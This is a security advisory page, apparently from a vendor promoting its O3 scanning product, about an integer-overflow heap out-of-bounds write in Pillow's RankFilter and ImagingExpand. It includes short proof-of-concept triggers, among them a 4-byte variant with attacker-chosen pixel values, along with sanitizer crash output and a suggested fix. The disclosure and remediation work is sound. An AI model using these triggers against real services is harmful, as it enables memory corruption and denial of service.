GHSA-xj96-63gp-2gmr is a high-severity (CVSS 8.2) CWE-190 vulnerability in pillow. O3 Security confirms whether GHSA-xj96-63gp-2gmr is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xj96-63gp-2gmr.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-xj96-63gp-2gmr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 367,633 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pillowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.
Minimal public API trigger:
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.
This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.
Details
Current src/PIL/ImageFilter.py:
class RankFilter(Filter):
def filter(self, image):
if image.mode == "P":
msg = "cannot filter palette images"
raise ValueError(msg)
image = image.expand(self.size // 2, self.size // 2)
return image.rankfilter(self.size, self.rank)
The expand() call is made before image.rankfilter(...).
Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:
if (xmargin < 0 && ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
imOut = ImagingNewDirty(
imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);
For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:
for (x = 0; x < xmargin; x++) {
imOut->image[yout][x] = imIn->image[yin][0];
}
src/libImaging/RankFilter.c does contain checks that would reject this size:
if (!(size & 1)) {
return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
return (Imaging)ImagingError_ValueError("filter size too large");
}
But those checks are reached only after RankFilter.filter() has already
called image.expand(...).
Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.
PoC
Minimal ASAN crash PoC:
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation
4-byte write variant with source pixel loaded from normal image bytes:
from io import BytesIO
from PIL import Image, ImageFilter
SIZE = 4294967295
PIXEL = 0x41424344
src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))
Observed ASAN signature:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation
Version checks:
Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
Impact
It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.
Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.
Possible fix
Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:
if (xmargin < 0 || ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
ymargin > (INT_MAX - imIn->ysize) / 2) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pillow | all versions | 12.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pillow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pillow to 12.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xj96-63gp-2gmr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xj96-63gp-2gmr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xj96-63gp-2gmr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Pillow's RankFilter API is vulnerable to a native heap out-of-bounds write when a caller supplies a very large odd filter size. Expansion runs before size validation and ImagingExpand uses unchecked signed integer arithmetic for output dimensions. A remote attacker who can drive RankFilter with attacker-controlled…
Frequently Asked Questions
Is GHSA-xj96-63gp-2gmr in your dependencies?
O3 detects GHSA-xj96-63gp-2gmr across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.